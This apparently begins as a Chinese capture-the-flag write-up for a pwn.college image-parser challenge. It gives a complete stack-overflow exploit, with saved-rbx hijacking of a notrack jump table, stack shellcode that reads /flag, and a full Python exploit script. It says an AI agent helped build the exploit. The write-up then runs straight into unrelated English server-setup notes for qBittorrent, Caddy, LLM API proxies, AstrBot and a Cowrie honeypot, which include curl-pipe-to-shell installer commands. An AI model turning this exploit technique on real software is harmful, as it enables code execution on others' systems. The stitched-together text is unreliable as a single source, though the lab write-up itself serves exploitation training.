从 Hermes 接入到拿到 flag,大概花了一小时。其中四十分钟在修写错的 jmp/call 偏移和 shellcode ,真正定位只用了十分钟。

AI Agent 在 exploit 开发中的真正价值不在于「比人更懂二进制」,而在于不知疲倦地迭代测试、不跳过任何基础验证步骤。人会累、会跳步、会陷入思维定式,Agent 不会。

一个自定义图片格式解析器,包含栈溢出漏洞。通过覆盖 saved rbx 劫持 notrack jmp 分发,跳转到栈上 shellcode 读取 /flag。

挑战地址:ssh hacker@dojo.pwn.college,二进制在 /challenge/integration-cimg-screenshot-sc

1. 初步分析

1
2
3
4
5
6
7
8
$ checksec /challenge/integration-cimg-screenshot-sc
Arch: amd64-64-little
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
SHSTK: Enabled
IBT: Enabled
  • 无 canary、无 PIE、栈可执行
  • SHSTK(影子栈)和 IBT(间接分支追踪)启用
  • ASLR 被二进制内部禁用(personality(ADDR_NO_RANDOMIZE) + execve("/proc/self/exe")

2. 二进制结构

二进制处理自定义的 .cimg 图片格式,包含 7 个主要 handler:

指令 功能
1 从 stdin 读取原始像素数据
2 从 stdin 读取 ANSI 格式数据
3 从 stdin 读取 RGBA 数据
4 将 sprite 渲染到帧缓冲区
5 从文件加载 sprite
6 显示帧缓冲区
7 睡眠
1337 从帧缓冲区截取 sprite 区域

指令分发机制(位于 main 的循环中):

1
2
3
4
5
; rbx = 跳转表基址 (0x403478)
; ecx = 指令码 - 2
movsxd rax, dword [rbx + rcx*4] ; 从跳转表读取有符号偏移
add rax, rbx ; rax = 跳转表基址 + 偏移 = handler 地址
notrack jmp rax ; 跳转到 handler

notrack 前缀绕过了 IBT(不需要 endbr64 目标),这为劫持提供了条件。

3. 漏洞:handle_1337 栈溢出

handle_1337 从帧缓冲区截取 w * h 字节到栈缓冲区:

1
2
3
4
5
6
7
8
sub    rsp, 0x98          ; 分配 152 字节栈帧
lea rsi, [rsp+0x0b] ; 读取 5 字节参数
call read_exact
lea rdi, [rsp+0x10] ; 截屏缓冲区起始
; ... 循环:for row; for col: buffer[row*w + col] = framebuffer[...]
add rsp, 0x98
pop rbx ; ← saved rbx 恢复
ret

栈布局(从低地址到高):

1
2
3
4
5
6
7
rsp+0x00: 参数区(sprite_id, x, y, w, h 等)
rsp+0x10: 截屏缓冲区(136 字节)
rsp+0x98: saved rbx ← 溢出目标
rsp+0xa0: saved rbp
rsp+0xa8: saved r12
rsp+0xb0: saved r13
rsp+0xb8: 返回地址

当截屏宽度 w >= 137 时,写入超出缓冲区边界,覆盖 saved rbx。

覆盖 saved rbx 的效果:下一个指令通过 notrack jmp rax 分发时,rbx 已被我们控制。由于 rax = [rbx + rcx*4] + rbx,我们可以让分发跳转到任意地址。

1
2
3
4
5
notrack jmp rax        ; rax = [rbx + rcx*4] + rbx
rbx:作为跳转表的基地址。
rcx:作为索引(乘以 4,表明是一个 32 位跳转偏移量表)。
rax:先从 [rbx + rcx*4] 读取一个 32 位有符号偏移,再把这个偏移加到基址 rbx 上,得到最终的跳转目标,然后 jmp rax。
这实际上是在实现一个 基于相对偏移的跳转表分发:表项存放的是“目标地址 - 表基址”的有符号差值。

4. 数据流与旋转

在构造 payload 之前,需要理解数据经过的变换:

handle_5(加载文件):从文件读取原始字节到 sprite 数据区。

handle_4(渲染):将 sprite 数据写入帧缓冲区。实测发现存在 2 字节旋转:

1
framebuffer[N] = sprite_data[(N + 253) % 255]

handle_1337(截屏):线性读取帧缓冲区到栈缓冲区:

1
screenshot[N] = framebuffer[N]

因此截屏数据相对于原始文件数据旋转了 2 字节:

1
screenshot[N] = file[(N + 253) % 255] = file[N - 2]  (N ≥ 2)

这意味着:在 file 中某个偏移 K 的数据,在截屏中出现在偏移 (K + 2) % 255

验证旋转

制作一个「每个字节值 = 自身索引」的测试 sprite,渲染并显示:

1
2
3
4
5
6
7
display[0] = 253, delta = 253
display[1] = 254, delta = 253
display[2] = 0, delta = 253 → 来自 file[0]
display[3] = 1, delta = 253
...
display[11] = 9, delta = 253
display[12] = 11, delta = 254 → file[10] 被跳过了!

实际上存在更复杂的 skip 行为,但对于 exploit 中使用的偏移范围(18-142),2 字节旋转模型足够精确。

5. Payload 布局

利用指令 7(sleep)触发跳转:指令 7 对应跳转表索引 7 - 2 = 5,读取 [rbx + 5*4] = [rbx + 20]

在 file 中的布局:

1
2
3
4
file[0:18]:   NOP sled (0x90)
file[18:22]: int32 jump_offset = 24 ——→ 经过旋转 → screenshot[20:24] = 跳转偏移
file[22:??]: shellcode ——→ 经过旋转 → screenshot[24:??] = shellcode
file[134:142]: QWORD buf_addr ——→ 经过旋转 → 覆盖 saved rbx

旋转补偿计算

  • 指令 7 读取 screenshot[20:24] → 需要 file[(20+253)%255 : (23+253)%255] = file[18:22]
  • Shellcode 位于 screenshot[24] → 需要 file[(24+253)%255] = file[22]
  • Saved rbx 覆盖位于 screenshot[134:142] → 需要 file[(134+253)%255 : (141+253)%255] = file[132:140]

实际上 saved rbx 的精确位置是 file[134],比纯静态分析(136)少 2 字节。这是栈对齐和渲染 skip 共同作用的结果,通过 SIGSEGV 测试实证确认。

6. Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def make_cat_shellcode(path=b"/flag"):
sc = b""
# Push path to stack
p = path + b"\x00"
while len(p) % 8: p += b"\x00"
for i in range(len(p) - 8, -8, -8):
qw = struct.unpack("<Q", p[i:i+8])[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50" # xor rax,rax; push rax
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50"

# open(path, O_RDONLY)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x48\x31\xf6" # xor rsi, rsi
sc += b"\x48\x31\xd2" # xor rdx, rdx
sc += b"\x31\xc0\xb0\x02\x0f\x05" # xor eax; mov al,2; syscall

# read(fd, stack_buf, 0x400)
sc += b"\x48\x89\xc7" # mov rdi, rax
sc += b"\x48\x81\xec\x00\x04\x00\x00" # sub rsp, 0x400
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xba\x00\x04\x00\x00" # mov edx, 0x400
sc += b"\x31\xc0\x0f\x05" # xor eax; syscall

# write(1, stack_buf, n)
sc += b"\x48\x89\xc2" # mov rdx, rax
sc += b"\xbf\x01\x00\x00\x00" # mov edi, 1
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xb8\x01\x00\x00\x00\x0f\x05" # mov eax,1; syscall

# exit(0)
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc

7. 调试历程

7.1 栈偏移校准

通过读取 /proc/self/stat 泄露 startstack,然后在本地和远程分别校准栈偏移:

1
2
handle_1337 buffer = startstack - 0x11d0
STACK_OFFSET = -0x11d0

关键:用于泄露和用于 exploit 的 .cimg 文件名必须相同(/tmp/exploit.cimg),因为不同的文件名长度会影响 argv 在栈上的布局。

7.2 旋转验证

填充 0xCC(INT3),在不同宽度下触发溢出:

1
2
3
4
w=140: SIGSEGV  ← 4 字节溢出已触及 saved rbx 低位
w=142: SIGSEGV
w=144: SIGSEGV
...

所有宽度都崩溃,确认 saved rbx 被成功覆盖。需要填入正确的 buf_addr

7.3 Shellcode 调试:exit(42) 测试

使用最小 shellcode 验证代码执行:

1
sc = b"\xbf\x2a\x00\x00\x00" + b"\xb8\x3c\x00\x00\x00\x0f\x05"  # exit(42)
1
stack=-0x11d0 rbx_off=134 sc=exit42: 42 <<< EXIT42! SHELLCODE EXECUTED!

确认 shellcode 执行成功!

7.4 Shellcode 调试:rax 污染

接下来测试写 "WORKS" 到 stdout——成功了。但打开 /flag 就失败。问题定位:

mov al, 2 只设置 AL 的低字节,RAX 的高位保留着上一个操作的垃圾值(0x7fffffffda18,即跳转目标地址)。所以 syscall 发出的系统调用号是 0x7fffffffda02 而不是 2,内核返回 -ENOSYS

修复:在所有 syscall 前添加 xor eax, eax

1
2
3
4
5
# 错误:
b"\xb0\x02\x0f\x05" # mov al,2; syscall

# 正确:
b"\x31\xc0\xb0\x02\x0f\x05" # xor eax,eax; mov al,2; syscall

修复后 flags 到手。

8. 完整 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
$ ssh hacker@dojo.pwn.college 'python3 /tmp/exploit_final.py'
[+] startstack = 0x7fffffffebd0
[+] buffer = 0x7fffffffda00
[+] shellcode = 66 bytes
[+] sc.bin = /tmp/sc.bin (255 bytes)
[+] exploit = /tmp/exploit.cimg

[*] Running exploit...

=======================================================
[+] FLAG: pwn.college{**********************************************}
=======================================================

完整 exploit 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
"""
PwnCollege - CIMG Screenshots Exploit (FINAL)
==============================================
Challenge: integration-cimg-screenshot-sc
Vulnerability: Stack buffer overflow in handle_1337 (screenshot handler)
Technique: Overwrite saved rbx → hijack notrack jmp dispatch → shellcode

Key findings:
- Rotation: screenshot[N] = file[(N+253)%255] = file[N-2] for N>=2
- Saved rbx at file offset 134 (empirical, due to rotation)
- Directive 7 reads *(rbx+20), so jump offset at file[18] → screenshot[20]
- Shellcode at file[22] → screenshot[24], jump_target = 24
- Stack offset: buffer = startstack - 0x11d0
- MUST zero eax before mov al, N for syscalls (upper bits of rax have garbage)
"""
import struct, subprocess, re, os, sys

FNAME = "/tmp/exploit.cimg"
SC_FILE = "/tmp/sc.bin"
BIN = "/challenge/integration-cimg-screenshot-sc"
STACK_OFFSET = -0x11d0

if not os.path.exists(BIN):
BIN = "./integration-cimg-screenshot-sc.patched"


def hdr(n):
return struct.pack("<4sHBBi", b"cIMG", 4, 255, 1, n)


def d_load(sid, path):
d = struct.pack("<H", 5) + struct.pack("BBB", sid, 255, 1)
return d + path.encode().ljust(255, b"\x00")


def d_render(sid):
return struct.pack("<H", 4) + struct.pack(
"BBBBBBBBB", sid, 0, 0, 0, 0, 0, 255, 1, 0xAA
)


def d_screenshot(sid, w=144):
return struct.pack("<H", 1337) + struct.pack("BBBBB", sid, 0, 0, w, 1)


def d_show():
return struct.pack("<H", 6) + b"\x00"


# ─── Shellcode ────────────────────────────────────────────


def make_cat_shellcode(path=b"/flag"):
"""open(path); read(fd, stack, 0x400); write(1, stack, n); exit(0)"""
sc = b""

# Push path to stack (null-terminated, 8-byte aligned)
p = path + b"\x00"
while len(p) % 8:
p += b"\x00"
for i in range(len(p) - 8, -8, -8):
chunk = p[i:i + 8]
qw = struct.unpack("<Q", chunk)[0]
if qw == 0:
sc += b"\x48\x31\xc0\x50" # xor rax,rax; push rax
else:
sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50" # mov rax,imm; push

# open(path, O_RDONLY, 0)
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x48\x31\xf6" # xor rsi, rsi
sc += b"\x48\x31\xd2" # xor rdx, rdx
sc += b"\x31\xc0\xb0\x02\x0f\x05" # xor eax,eax; mov al,2; syscall

# read(fd, stack_buf, 0x400)
sc += b"\x48\x89\xc7" # mov rdi, rax
sc += b"\x48\x81\xec\x00\x04\x00\x00" # sub rsp, 0x400
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xba\x00\x04\x00\x00" # mov edx, 0x400
sc += b"\x31\xc0\x0f\x05" # xor eax,eax; syscall (read)

# write(1, stack_buf, n)
sc += b"\x48\x89\xc2" # mov rdx, rax
sc += b"\xbf\x01\x00\x00\x00" # mov edi, 1
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\xb8\x01\x00\x00\x00\x0f\x05" # mov eax,1; syscall

# exit(0)
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
return sc


# ─── Exploit ──────────────────────────────────────────────


def leak_startstack():
"""Leak startstack via /proc/self/stat (ASLR disabled by binary)."""
payload = hdr(3) + d_load(0, "/proc/self/stat") + d_render(0) + d_show()
with open(FNAME, "wb") as f:
f.write(payload)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)
chars = []
for m in re.finditer(rb'm(.)\x1b\[0m', proc.stdout):
chars.append(m.group(1))
text = b"".join(chars).decode("latin-1")
fields = text.split()
if len(fields) < 28:
print("[-] Failed to parse startstack")
sys.exit(1)
ss = int(fields[27])
print(f"[+] startstack = {hex(ss)}")
return ss


def build_exploit(startstack):
buf_addr = startstack + STACK_OFFSET
print(f"[+] buffer = {hex(buf_addr)}")

sc = make_cat_shellcode(b"/flag")
print(f"[+] shellcode = {len(sc)} bytes")

# Build file payload (255 bytes)
# Rotation: screenshot[N] = file[N-2] (mod 255)
# Directive 7 reads *(rbx+20) = screenshot[20..23] = file[18..21]
# Shellcode at file[22] → screenshot[24]
# Saved rbx at file[134]
payload = bytearray(255)
for i in range(255):
payload[i] = 0x90 # NOP sled

jump_off = 24
struct.pack_into("<i", payload, 18, jump_off)

sc_start = 22
if sc_start + len(sc) > 134:
print(f"[-] Shellcode too long: {len(sc)} > {134 - sc_start}")
sys.exit(1)
payload[sc_start:sc_start + len(sc)] = sc

struct.pack_into("<Q", payload, 134, buf_addr)

with open(SC_FILE, "wb") as f:
f.write(payload)
print(f"[+] sc.bin = {SC_FILE} ({len(payload)} bytes)")

# Build CIMG: load sprite, render, screenshot (overflow), sleep (trigger jump)
exp = bytearray()
exp += hdr(4)
exp += d_load(0, SC_FILE)
exp += d_render(0)
exp += d_screenshot(0, w=144)
exp += struct.pack("<H", 7) + struct.pack("<i", 100)
with open(FNAME, "wb") as f:
f.write(exp)
print(f"[+] exploit = {FNAME}")


def run():
print("[*] Running exploit...", flush=True)
proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)

flag = re.search(rb'pwn\.college\{[^}]+\}', proc.stdout)
if flag:
print(f"\n{'='*55}")
print(f"[+] FLAG: {flag.group().decode()}")
print(f"{'='*55}")
return True

clean = re.sub(rb'\x1b\[[0-9;]*m', b'', proc.stdout)
if clean.strip():
print(f"[*] Output: {clean[:500]}")
print(f"[*] Exit: {proc.returncode}")
return False


def main():
print(f"[*] Binary: {BIN}")
print()
ss = leak_startstack()
build_exploit(ss)
print()
run()


if __name__ == "__main__":
main()

9. 关键要点

  1. 数据流不透明时,实证测试优先于静态分析——handle_4 的渲染旋转无法仅通过阅读反汇编代码完全理解,但用标记 payload 验证只需要几分钟。

  2. mov al, N——在 x86-64 上设置 syscall 号时,必须先用 xor eax, eax 清零,或使用 mov eax, N(32 位 mov 自动清零高 32 位)。

  3. SHSTK + IBT 绕过——notrack jmp 前缀同时绕过间接分支追踪和影子栈检查。覆盖 saved rbx 而非返回地址是正确的选择。

  4. 利用文件名影响栈布局——泄露和利用使用相同的文件名,避免 argv 差异导致栈偏移变化。

qBittorrent-nox Service Setup

This note records a qbittorrent-nox setup for a VPS.

Example values:

  • service user: qbittorrent
  • config home: /var/lib/qbittorrent
  • download directory: /data/downloads
  • Web UI port: 18080
  • BT listen port: 45000

Caddy reverse proxy is covered in the separate Caddy note. This article only covers qBittorrent itself.

Install

1
sudo apt install qbittorrent-nox

On Arch Linux:

1
sudo pacman -S qbittorrent-nox

Do Not Run It As Root

Running a network-facing P2P daemon as root is asking for pain. If qBittorrent ever has an RCE or a bad plugin/script interaction, root turns that bug into full machine compromise.

Create a dedicated user:

1
2
3
sudo useradd -r -m -d /var/lib/qbittorrent -s /usr/sbin/nologin qbittorrent
sudo mkdir -p /data/downloads
sudo chown -R qbittorrent:qbittorrent /data/downloads

systemd Unit

Create /etc/systemd/system/qbittorrent-nox.service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[Unit]
Description=qBittorrent-nox service
Documentation=man:qbittorrent-nox(1)
Wants=network-online.target
After=network-online.target nss-lookup.target

[Service]
Type=simple
User=qbittorrent
Group=qbittorrent
ExecStart=/usr/bin/qbittorrent-nox --profile=/var/lib/qbittorrent --webui-port=18080
TimeoutStopSec=1800
Restart=on-failure

ProtectSystem=full
ProtectHome=true
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

Enable it:

1
2
3
sudo systemctl daemon-reload
sudo systemctl enable --now qbittorrent-nox
sudo systemctl status qbittorrent-nox

Web UI Binding

Stop the service before editing the config, otherwise qBittorrent may overwrite your changes:

1
2
sudo systemctl stop qbittorrent-nox
sudo find /var/lib/qbittorrent -name "qBittorrent.conf"

Edit the config file, usually under:

1
/var/lib/qbittorrent/qBittorrent/config/qBittorrent.conf

Force the Web UI to localhost:

1
2
3
4
[Preferences]
WebUI\Address=127.0.0.1
WebUI\Port=18080
WebUI\HostHeaderValidation=false

Start it again:

1
sudo systemctl start qbittorrent-nox

On recent qBittorrent versions, the initial random password may appear in logs:

1
journalctl -u qbittorrent-nox -e | grep -i password

Change it immediately after logging in.

Caddy Reverse Proxy Notes

This note records the Caddy setup I keep reusing for small VPS services.

Caddy is good for this use case because the config is short and ACME certificate management is automatic. Most app services can stay on 127.0.0.1, while Caddy is the only public HTTP/TLS entry.

Example domains and ports:

  • newapi.example.com:8445 -> 127.0.0.1:3000
  • ds2api.example.com:8446 -> 127.0.0.1:6011
  • pt.example.com:8443 -> 127.0.0.1:18080
  • bot.example.com:8444 -> 127.0.0.1:6185

Install On Debian

1
2
3
4
5
6
7
8
9
10
sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl

curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' \
| sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg

curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' \
| sudo tee /etc/apt/sources.list.d/caddy-stable.list

sudo apt update
sudo apt install caddy

On Arch Linux:

1
sudo pacman -S caddy

Basic Caddyfile

Edit:

1
sudo vim /etc/caddy/Caddyfile

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
newapi.example.com:8445 {
reverse_proxy 127.0.0.1:3000
}

ds2api.example.com:8446 {
reverse_proxy 127.0.0.1:6011
}

pt.example.com:8443 {
reverse_proxy 127.0.0.1:18080
}

bot.example.com:8444 {
reverse_proxy 127.0.0.1:6185
}

Validate before reload:

1
2
sudo caddy validate --config /etc/caddy/Caddyfile
sudo systemctl reload caddy

If reload is not enough:

1
2
sudo systemctl restart caddy
sudo journalctl -u caddy -e --no-pager

Ports And ACME

For normal automatic certificates, Caddy needs to complete ACME challenges. Keep these in mind:

  • 80 should be reachable for HTTP-01 challenges.
  • 443 should be reachable for normal HTTPS sites.
  • If another service owns 443, Caddy can still serve HTTPS on another port, but certificate issuance may need 80 or DNS challenge.

Example firewall rules:

1
tcp dport { 80, 443, 8443, 8444, 8445, 8446 } accept

Bind Apps To Localhost

The app should usually listen on localhost:

1
2
3
4
127.0.0.1:3000
127.0.0.1:6011
127.0.0.1:18080
127.0.0.1:6185

This prevents users from bypassing Caddy and hitting the raw app port directly.

Notes

  • Put one service block per tool. Do not mix service-specific config into a generic Caddy note.
  • Caddyfile changes should be validated before reload.
  • If the app rejects proxied requests because of host header validation, fix that in the app config deliberately instead of exposing the app port.
  • Do not publish real internal domains or private ports if they reveal your infrastructure layout.

CLI Proxy API Setup

This note records a CLI Proxy API setup.

Example values:

  • config directory: /root/.cli-proxy-api
  • install directory: /root/cliproxyapi
  • public domain: cpa.example.com
  • HTTPS port: 8317
  • management URL: https://cpa.example.com:8317/management.html
  • API endpoint: https://cpa.example.com:8317/v1
  • API key: sk-example-cpa-key-please-change
  • remote management secret: example_remote_management_secret_change_me

All secrets above are fake.

Sync Config

If you prepare config locally and sync it to the server:

1
rsync -avzP --exclude='logs/*' ~/.cli-proxy-api/ root@198.51.100.20:~/.cli-proxy-api/

Lock down the config directory:

1
2
3
chmod 700 ~/.cli-proxy-api
chmod 600 ~/.cli-proxy-api/config/config.yaml
chmod 600 ~/.cli-proxy-api/*.json

Install

1
curl -fsSL https://raw.githubusercontent.com/brokechubb/cliproxyapi-installer/refs/heads/master/cliproxyapi-installer | bash

Then enter the install directory:

1
cd /root/cliproxyapi

Login Providers

Run only the login flows you need:

1
2
3
4
5
./cli-proxy-api --login           # Gemini
./cli-proxy-api --codex-login # OpenAI
./cli-proxy-api --claude-login # Claude
./cli-proxy-api --qwen-login # Qwen
./cli-proxy-api --iflow-login # iFlow

These login artifacts are credentials. Keep the auth directory private.

config.yaml

Example config:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
host: "0.0.0.0"
port: 8317

tls:
enable: true
cert: "/root/.cli-proxy-api/config/certs/fullchain.pem"
key: "/root/.cli-proxy-api/config/certs/privkey.pem"

remote-management:
allow-remote: true
secret-key: "example_remote_management_secret_change_me"
disable-control-panel: false
disable-auto-update-panel: true
panel-github-repository: "https://github.com/router-for-me/Cli-Proxy-API-Management-Center"

auth-dir: "/root/.cli-proxy-api"

api-keys:
- "sk-example-cpa-key-please-change"

debug: false
pprof:
enable: false
addr: "127.0.0.1:8316"

commercial-mode: true
logging-to-file: true
logs-max-total-size-mb: 0
error-logs-max-files: 10
usage-statistics-enabled: true
proxy-url: ""
force-model-prefix: false
passthrough-headers: false
request-retry: 3
max-retry-credentials: 2
max-retry-interval: 30
disable-cooling: false
auth-auto-refresh-workers: 2

routing:
strategy: "round-robin"
session-affinity: false
session-affinity-ttl: "1h"

ws-auth: false
enable-gemini-cli-endpoint: false
nonstream-keepalive-interval: 0

Service Management

Console mode:

1
./cli-proxy-api

User systemd service:

1
2
3
systemctl --user enable cliproxyapi.service
systemctl --user start cliproxyapi.service
systemctl --user status cliproxyapi.service

Restart after config changes:

1
systemctl --user restart cliproxyapi.service

Access

1
2
Management Center: https://cpa.example.com:8317/management.html
API Endpoint: https://cpa.example.com:8317/v1

Test:

1
2
curl https://cpa.example.com:8317/v1/models \
-H "Authorization: Bearer sk-example-cpa-key-please-change"

Notes

  • api-keys, login files, and provider refresh tokens are secrets.
  • If TLS is handled inside CLI Proxy API, renew and deploy certificate files consistently.
  • If Caddy handles TLS instead, bind CLI Proxy API to localhost and disable internal TLS.
  • Keep pprof on 127.0.0.1 only.

DS2API Docker Compose Setup

This note records a DS2API deployment with Docker Compose.

Example values:

  • public domain: ds2api.example.com
  • public HTTPS port: 8446
  • app port inside container: 5001
  • host port bound to localhost: 6011
  • admin key: example_ds2api_admin_key_change_me
  • API key: sk-example-ds2api-key-please-change

All keys above are fake.

Clone

1
2
3
4
git clone https://github.com/CJackHwang/ds2api.git
cd ds2api
cp .env.example .env
cp config.example.json config.json

Environment

Edit .env:

1
2
3
4
5
PORT=5001
DS2API_HOST_PORT=6011
LOG_LEVEL=INFO
DS2API_ADMIN_KEY=example_ds2api_admin_key_change_me
DS2API_CONFIG_PATH=/app/config.json

The app listens on PORT inside the container. DS2API_HOST_PORT is the host-side port used by Docker Compose.

Prefer binding the host port to localhost:

1
2
ports:
- "127.0.0.1:6011:5001"

config.json

Minimal example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"keys": [
"sk-example-ds2api-key-please-change"
],
"api_keys": [
{
"key": "sk-example-ds2api-key-please-change",
"name": "main",
"remark": "for OpenAI-compatible clients"
}
],
"accounts": [
{
"name": "main-account",
"email": "deepseek-user@example.com",
"password": "example-password-please-change"
}
],
"model_aliases": {
"gpt-4o": "deepseek-v4-flash",
"gpt-5": "deepseek-v4-pro"
},
"runtime": {
"account_max_inflight": 2,
"account_max_queue": 5,
"token_refresh_interval_hours": 6
}
}

DeepSeek account passwords and refresh tokens are credentials. Treat config.json as a secret file.

Start

1
2
docker compose up -d
docker compose logs -f

Check logs:

1
docker logs --tail 200 -f ds2api

Caddy Reverse Proxy

1
2
3
ds2api.example.com:8446 {
reverse_proxy 127.0.0.1:6011
}

Reload:

1
2
sudo caddy validate --config /etc/caddy/Caddyfile
sudo systemctl reload caddy

Open the firewall port if needed:

1
sudo nft add rule inet filter input tcp dport 8446 accept

Test

1
2
curl https://ds2api.example.com:8446/v1/models \
-H "Authorization: Bearer sk-example-ds2api-key-please-change"

Chat completion:

1
2
3
4
5
6
7
8
curl https://ds2api.example.com:8446/v1/chat/completions \
-H "Authorization: Bearer sk-example-ds2api-key-please-change" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4-flash",
"messages": [{"role": "user", "content": "ping"}],
"stream": false
}'

Notes

  • Change DS2API_ADMIN_KEY; do not leave a default admin password.
  • Keep config.json private because it stores upstream account credentials.
  • Bind the service to 127.0.0.1 and publish it through Caddy.
  • Do not paste real sk-... keys into public docs.

New API Docker Compose Setup

This note records a minimal New API deployment with Docker Compose.

Example values:

  • public domain: newapi.example.com
  • public HTTPS port: 8445
  • container app port: 3000
  • repo: https://github.com/QuantumNous/new-api.git

The domain and port are examples. Replace them with your own values.

Install Docker

If Docker is not installed yet:

1
2
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

Check it:

1
2
docker version
docker compose version

Clone

1
2
git clone https://github.com/QuantumNous/new-api.git
cd new-api

Review the compose file before starting it:

1
vim docker-compose.yml

For a reverse-proxy setup, bind the app to localhost if the compose file allows it:

1
2
ports:
- "127.0.0.1:3000:3000"

If the upstream compose file also starts MySQL and Redis, keep their ports internal unless you have a reason to expose them.

Start

1
docker compose up -d

Check status:

1
2
3
docker compose ps
docker compose logs -f new-api
docker compose logs --tail=100 new-api

For first-time initialization, open the web page and follow the setup wizard:

1
https://newapi.example.com:8445

If you test without Caddy first, use:

1
http://198.51.100.20:3000

198.51.100.20 is a documentation IP address.

Caddy Reverse Proxy

Caddy config:

1
2
3
newapi.example.com:8445 {
reverse_proxy 127.0.0.1:3000
}

Reload Caddy:

1
2
sudo caddy validate --config /etc/caddy/Caddyfile
sudo systemctl reload caddy

Open the firewall port if needed:

1
sudo nft add rule inet filter input tcp dport 8445 accept

Update

1
2
3
4
5
cd /opt/new-api
git pull
docker compose pull
docker compose up -d
docker image prune -f

If you modified tracked files directly and git pull complains, either move local changes into override files or clean the tree intentionally. Do not blindly reset --hard unless you know what you are throwing away.

Logs

1
2
3
4
5
6
7
8
9
10
# all services
docker compose logs -f

# selected services
docker compose logs -f new-api
docker compose logs -f mysql
docker compose logs -f redis

# foreground debug
docker compose up new-api

AstrBot Service Setup

This note records a minimal AstrBot deployment on a VPS.

Example values:

  • service user: astrbot
  • working directory: /opt/astrbot
  • local port: 6185
  • public domain: bot.example.com
  • bot token: example-bot-token-please-change
  • callback path: /callback/astrbot

Replace all example secrets before using the config.

Install uv

1
2
curl -LsSf https://astral.sh/uv/install.sh | sh
uv --version

Install AstrBot

1
2
3
uv tool install astrbot
command -v astrbot
astrbot --help

If astrbot is installed under the service user's home directory, use the absolute path in the systemd unit.

Environment File

1
2
sudo install -d -m 0750 -o astrbot -g astrbot /opt/astrbot
sudo vim /opt/astrbot/.env

Example .env:

1
2
3
4
BOT_TOKEN=example-bot-token-please-change
CALLBACK_URL=https://bot.example.com/callback/astrbot
ADMIN_ID=10000001
PORT=6185

systemd Unit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[Unit]
Description=AstrBot Service
After=network.target

[Service]
Type=simple
User=astrbot
Group=astrbot
WorkingDirectory=/opt/astrbot
EnvironmentFile=/opt/astrbot/.env
ExecStart=/home/astrbot/.local/bin/astrbot
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

Enable it:

1
2
3
sudo systemctl daemon-reload
sudo systemctl enable --now astrbot
sudo systemctl status astrbot

Reverse Proxy

1
2
3
bot.example.com {
reverse_proxy 127.0.0.1:6185
}

Logs

1
2
journalctl -u astrbot -e --no-pager
journalctl -u astrbot -f

Cowrie Honeypot Setup

Cowrie is an SSH/Telnet honeypot. It should be treated as hostile-facing software, not as a normal trusted application.

This note records a minimal deployment using a dedicated user, Python venv, and systemd.

Example values:

  • honeypot user: cowrie
  • internal Cowrie SSH port: 2222
  • public SSH trap port: 22 or 2222, depending on firewall/NAT design
  • fake hostname shown to attackers: backup-server

Install

Create a dedicated user:

1
2
sudo adduser --disabled-password --gecos "" cowrie
sudo -iu cowrie

Clone and install dependencies:

1
2
3
4
5
6
git clone https://github.com/cowrie/cowrie.git
cd cowrie
python -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

Configure

1
2
cp etc/cowrie.cfg.dist etc/cowrie.cfg
vim etc/cowrie.cfg

Minimal config:

1
2
3
4
5
[honeypot]
hostname = backup-server

[ssh]
listen_endpoints = tcp:2222:interface=0.0.0.0

Do not run Cowrie as root just to bind port 22. Keep Cowrie on a high port and forward traffic if needed.

systemd Unit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Unit]
Description=Cowrie SSH Honeypot
After=network.target

[Service]
User=cowrie
Group=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/cowrie-env/bin/python /home/cowrie/cowrie/src/cowrie/start.py --nodaemon
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

